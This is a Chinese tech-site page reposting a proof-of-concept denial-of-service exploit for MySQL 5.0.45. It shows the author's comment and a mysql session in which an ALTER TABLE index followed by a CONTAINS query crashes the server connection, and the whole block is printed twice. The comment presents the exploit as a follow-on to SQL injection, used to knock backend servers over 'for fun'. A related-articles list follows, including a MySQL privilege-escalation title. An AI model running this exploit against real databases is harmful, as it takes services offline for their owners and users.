mysql 5.0.45 （修改）拒絕服務(wù)漏洞
更新時(shí)間：2010年07月22日 23:39:50 作者：
mysql 5.0.45 （修改）拒絕服務(wù)漏洞的方法，追求安全的朋友可以參考下。
mysql 5.0.45 （修改）拒絕服務(wù)漏洞
/*
* MySQL <=6.0 possibly affected
* Kristian Erik Hermansen
* Credit: Joe Gallo
* You must have Alter permissions to exploit this bug!
* Scenario: You found SQL injection, but you want to punch backend server
* in the nuts just for fun. Start with the Alter TABLE statement on
* a table and field you know to exist. The first two SQL statements are
* simply to demostrate reproducibility...
*/
<snip>
mysql> Create TABLE `test` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY,
`foo` text NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
Query OK, 0 rows affected
mysql> Select * FROM test Where CONTAINS(foo, ''bar'');
Empty set
mysql> Alter TABLE test ADD INDEX (foo(100));
Query OK, 0 rows affected
Records: 0 Duplicates: 0 Warnings: 0
mysql> Select * FROM test Where CONTAINS(foo, ''bar'');
ERROR 2013 : Lost connection to MySQL server during query
</snip>
/*
* MySQL <=6.0 possibly affected
* Kristian Erik Hermansen
* Credit: Joe Gallo
* You must have Alter permissions to exploit this bug!
* Scenario: You found SQL injection, but you want to punch backend server
* in the nuts just for fun. Start with the Alter TABLE statement on
* a table and field you know to exist. The first two SQL statements are
* simply to demostrate reproducibility...
*/
<snip>
mysql> Create TABLE `test` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY,
`foo` text NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
Query OK, 0 rows affected
mysql> Select * FROM test Where CONTAINS(foo, ''bar'');
Empty set
mysql> Alter TABLE test ADD INDEX (foo(100));
Query OK, 0 rows affected
Records: 0 Duplicates: 0 Warnings: 0
mysql> Select * FROM test Where CONTAINS(foo, ''bar'');
ERROR 2013 : Lost connection to MySQL server during query
</snip>
相關(guān)文章
這篇文章主要為大家詳細(xì)介紹了MySQL?8.0.29?解壓版安裝配置方法圖文教程，文中示例代碼介紹的非常詳細(xì)，具有一定的參考價(jià)值，感興趣的小伙伴們可以參考一下2022-06-06
Linux利用UDF庫(kù)實(shí)現(xiàn)Mysql提權(quán)
根據(jù)MySQL函數(shù)族的可擴(kuò)展機(jī)制，意味著用戶可以自己建立包含有自定義函數(shù)的動(dòng)態(tài)庫(kù)來(lái)創(chuàng)建自定義函數(shù)，簡(jiǎn)稱udf2014-07-07
本文主要介紹了Mysql prepare預(yù)處理，文中通過示例代碼介紹的非常詳細(xì)，具有一定的參考價(jià)值，感興趣的小伙伴們可以參考一下2021-09-09
這篇文章主要介紹了Mysql基礎(chǔ)之常見函數(shù),文中有非常詳細(xì)的代碼示例,對(duì)正在學(xué)習(xí)數(shù)據(jù)庫(kù)的小伙伴們有很大的幫助,需要的朋友可以參考下2021-04-04
MySQL數(shù)據(jù)庫(kù)服務(wù)器逐漸變慢分析與解決方法分享
本文針對(duì)MySQL數(shù)據(jù)庫(kù)服務(wù)器逐漸變慢的問題， 進(jìn)行分析，并提出相應(yīng)的解決辦法2012-01-01
數(shù)據(jù)庫(kù)的索引從不同的角度可以劃分成不同的類型，聚簇索引便是其中一種。聚簇索引并不是一種單獨(dú)的索引類型，而是一種數(shù)據(jù)的存儲(chǔ)方式。本文詳細(xì)介紹了MySQL的聚簇索引，感興趣的同學(xué)可以參考閱讀2023-04-04
MYSQL關(guān)聯(lián)關(guān)系查詢方式
文章詳細(xì)介紹了MySQL中如何使用內(nèi)連接和左外連接進(jìn)行表的關(guān)聯(lián)查詢,并展示了如何選擇列和使用別名,文章還提供了一些關(guān)于查詢優(yōu)化的建議,并鼓勵(lì)讀者參考和支持腳本之家2025-02-02
MySQL GRANT用戶授權(quán)的實(shí)現(xiàn)
授權(quán)就是為某個(gè)用戶賦予某些權(quán)限。MySQL 提供了 GRANT 語(yǔ)句來(lái)為用戶設(shè)置權(quán)限。具有一定的參考價(jià)值，感興趣的小伙伴們可以參考一下2021-06-06
Mysql徹底解決中文亂碼問題的方案(Illegal mix of collations for operation)
mysql數(shù)據(jù)庫(kù)和中文支持很不友好，經(jīng)常見到“Illegal mix of collations for operation”錯(cuò)誤，該如何解決呢？下面小編給大家?guī)?lái)了mysql數(shù)據(jù)庫(kù)中涉及到哪些字符集及徹底解決中文亂碼的解決方案，非常不錯(cuò)，一起看看吧2016-08-08
SQL查詢語(yǔ)句優(yōu)化的實(shí)用方法總結(jié)
下面小編就為大家?guī)?lái)一篇SQL查詢語(yǔ)句優(yōu)化的實(shí)用方法總結(jié)。小編覺得挺不錯(cuò)的，現(xiàn)在就分享給大家，也給大家做個(gè)參考。一起跟隨小編過來(lái)看看吧2016-12-12